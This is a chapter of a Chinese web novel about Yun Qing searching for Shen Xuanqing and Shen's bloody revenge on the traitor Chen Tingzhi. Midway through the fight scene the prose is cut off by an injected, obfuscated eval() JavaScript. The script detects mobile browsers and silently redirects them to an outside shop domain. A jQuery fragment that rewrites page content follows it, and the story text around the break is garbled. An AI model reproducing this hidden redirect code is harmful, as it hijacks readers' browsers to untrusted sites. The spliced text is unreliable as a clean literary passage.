漆黑像是涨潮的海水,无声无息从天际蔓延,庆公里这片土地彻底被黑夜笼罩。

    阁楼之上,云倾将那把匕首放在枕边,久久不能入睡。她一直在思考一个问题,沈玄清到底会去哪,他会不会有危险?

    难道是因为可怜吗?云倾从来没有如此思念过一个人。

    从锦都到江南,两个人几乎日日都在一起,不知何时,云倾早就习惯了沈玄清的存在。

    明日就是第四天了,为防止杨尚再次出手,无论如何,她必须马上找到沈玄清,就算不知道去哪里,总好过现在什么都不做。

    云倾带好匕首和弓箭,趁着夜色下了楼。刚行至门口,就见到周承也已经换好衣服来等自己。

    云倾滞住一瞬,开口问道:“你早就知道了?”

    周承摇摇头。“我不知道,但我只知道大人一定遇到了麻烦。”

    云倾真的很想问问,周承一个副都御使为什么对沈玄清如此死心塌地,事事都如此尽心尽力。于是她真的这么问了。

    半晌,周承终于开口道:“我原本是没落士族出身,费尽全力才考上功名,却被太子一党那些风头正盛的氏族子弟排挤迫害,是大人出手帮我,亲自把我调到了御史台,从那之后我从没把自己当过是副都御使,我只是大人的一个下属,大人的命令,我全部都会无条件服从。”

    周承言简意赅只用寥寥数语就说了自己的过去,但云倾通过他的神情大概已经能猜出当年所受的苦楚。

    “小姐,后日沧江口涨潮,大人按例要去堤坝查探工程修筑情况,大人从不会耽误公事,所以他现在一定还在江南。”

    云倾也很赞成周承的说法。云倾沉思一会儿道:“你知道沈铮将军的府邸在哪里吗?”

    此时周承已经心照不宣地猜到了沈玄清的身份,被云倾这么一点,他瞬间觉得像是被点醒一样,他知道侯府的位置。两人没有犹豫,当即出发。

    云倾瞬间觉得庆公里的管理非常人性化,只要给了钱,哪怕你大半夜突然出去,也不会有任何人过问。

    *

    三天前,也就是沈玄清在总督府膳厅等待云倾的前一天晚上,他收到了一封不知道来自谁的信。

    信封里的字迹很陌生,他从未见过,但是那个玉佩,他永远也忘不了。

    上面刻着八个小字,昭昭如愿,岁岁平安。那是他父亲沈铮的。昭和岁是他和妹妹的名字。

    翻开信件,仔细看去,上面的内容不禁让沈玄清尘封已久的内心再度燃起从未有过的怒火。

    “世子殿下若想知道令尊遗体在何处,两日后,侯府后园见,此枚玉佩是我送给殿下的见面礼,望笑纳。”

    沈玄清没有思索就已经决定要去,他当然知道那是陷阱,但他绝对不会放过任何一个杀父仇人,更何况是这种挑衅到自己头上的。

    这一次注定凶险,沈玄清没打算告诉云倾,因为他知道,只要告诉了云倾,她一定会想办法偷偷跟来。

    据沈玄清这几日的调查来看,杨尚一直在暗中派手下的人去煽动流民,大肆散播云山贪污赈灾银之事,他要针对的对象一定是云倾。

    于是沈玄清先是安排了萧尘全部的近卫去总督府保护云倾,随后着人去通知庆公里的人,总督府不是长久安全之地,这样做以便云倾到时可以有安全的去处。

    第二天,沈玄清一直在膳厅等着她,告诉她不要出门。沈玄清能感觉得到云倾在生他的气,但他无法说出任何理由。

    沈玄清回去会向她道歉的。

    ……

    两个时辰前,沈玄清来到这里,见到的却是陈停之。

    那个人右脸之上有着如鲜血一样的红色块斑,犹如烈焰吞噬鬼魅一般苍白的却没有一丝胡须的脸,狭长的眼尾随意勾着,却好似有着摄人心魄的威力。

    红斑男人拿着一把拂尘,毫不在意地笑着。

    “十数年过去,往日受尽万千宠爱的世子殿下,如今摇身一变竟然成了大周第一权臣,真是令人止不住扼腕叹息啊,哈哈哈哈,不知道这么多年,殿下是否还记得我。”

    沈玄清怎么可能会忘记他。

    陈停之,当年父亲手下最得力的副将,父亲器重他,他却引狼入室,带人杀了定北侯满门,转投太子门下。

    “是么,当然没有忘,只是陈大人投诚的方式实在令人不耻,堂堂太子殿下,竟然要让陈副将变成公公才肯信任于你,所以你永世不得入朝为官,入军为将,这就是你背叛我父亲的报应。”

    陈停之在太子解除东宫幽禁后,一时间又恢复了往日九千岁的威严与荣耀,所以他最忌讳别人说他是太监这回事,此刻被沈玄清提起,他登时发狂,丹凤眼逐渐变得猩红可怖,仿佛要把沈玄清咬碎。

    “当年定北侯挡了庆国公的路,所以死了,今日你非要调查江南水患真相,挡了太子的路,你觉得自己还有活下去的可能吗?更不要说,你并没有你父亲那样的威望成就,说好听点是权臣,说得不好听点不过就是一个小小言官而已,有什么好嚣张的呢……”

    沈玄清没有被他激怒,而是直截了当地问道:“我父亲的尸首在哪里?”

    陈停之一听见沈玄清这句话就像是被戳中了笑点一般,弯着腰笑个不停。

    “世子殿下真是孝顺得很,你父亲已经死了数十年,是曝尸荒野,还是被野狼叼走,谁又能知道呢,倒是你,竟然不知道我是骗你的么?索性告诉你,今日,我是来杀你来了,十五年前,欠太子殿下的那条命,你也该还了。”

    陈停之一想到沈玄清这样的人竟然都被自己耍得团团转,他的得意根本掩盖不住。

    却没想到,沈玄清唇角一弯,鬼魅似地开口,惋惜道:“原来没有啊,那你是在找死么。”

    风声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868393|209334||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    骤然收紧,早已荒废掉的侯府后园枯草干花一起被吹得呼啦啦作响,在黑沉的夜空下好似恶魔在低语。

    “我找到你了,你觉得我会轻易放过你吗?”

    陈停之心脏猛然一跳,目不转睛盯着对面,手却在背后偷偷做了个手势,那些隐没在暗夜中的太子亲兵整齐划一地上前一步,做好备战姿势,陈停之此刻不该怕的,因为他带的人手很多,况且还有两位杀敌无数的将军尚未赶到,沈玄清怎么想今日都必死无疑,但不知为何,他刚才看到沈玄清的那双锐利眼睛就好像看到了过去无比风光的定北侯,物是人非,此时的沈玄清眼中比他父亲还多了几分狠厉偏执。

    沈玄清看见这些人的动作,不由得嗤笑了一声,他抬起长长的眼睫,略有些好奇地盯着陈停之握着拂尘的右手。”

    “什……啊!”

    虽然身处黑暗,但沈玄清却似毫无阻碍一般,千钧一发之际,直接将手中利剑横劈而出,剑势如风,长剑落地之时争鸣声仍然未停,像是在诉说着主人的仇恨,而随之落地的便是陈停之那半截血淋淋的小臂,以及刚刚被陈停之握在手中的那根象征九千岁的白色拂尘。

    陈停之惨叫声响彻四野,痛到直接失去力气,后坐在枯草之中,那张苍白如鬼的脸上为数不多的血色正在急速流失,成汪的鲜血顺着断肢流下,陈停之心里清楚,用不了多久,他就会失血过多而亡。

    “定北侯竟然养出你这么一个无耻偷袭的儿子!”陈停之没想到沈玄清会贸然动手,于是便开始口不择言,企图在良心上对沈玄清进行道德谴责。

    仇人站在沈玄清面前,十几年过去,仇恨早就像生锈的铁钉一样深入骨髓,沈玄清尽力让自己不失去理智,变得疯狂,右手已经被他攥得血肉模糊。随即,他听到陈停之一声令下。“杀了他,割下他的脸皮,太子重重有赏!”

    陈停之带来的人是训练有素的太子精兵,而沈玄清只有一个人,双方不知道缠斗了多久,数次交锋中,谁都不肯相让,不断占据上风却又再次转换。这场厮杀过得格外漫长,沈玄清一开始的目标就是陈停之,于是谁来这个人身边阻止他,他就杀掉谁,他好像根本感受不到疲倦一样,眼里只剩下无穷无尽的杀戮。

    随着陈停之虚弱的一声笑后,他开口道:“世子殿下,我承认你武艺确实高强,可以以一当十,但这些精兵可是从军中调出,和那天船上的废物不一样,不如早早束手就擒,太子会向皇上禀明,沈御史在林州遭遇流民暴动,不幸殉职。也算成全你三年官场清名。”

    弦月冷光下,沈玄清的四周寂静无比,和玄铁一样冰冷的空气中,弥漫着浓重的血腥之气,这疯狂的气息让人意识混乱,他像是被禁锢在一堵由血肉白骨铸成的高墙之内。

    沈玄清抬起手中那根沾满鲜血的长剑,将剑锋对准陈停之。

    “想杀我的人,你是活的不耐烦了吗?”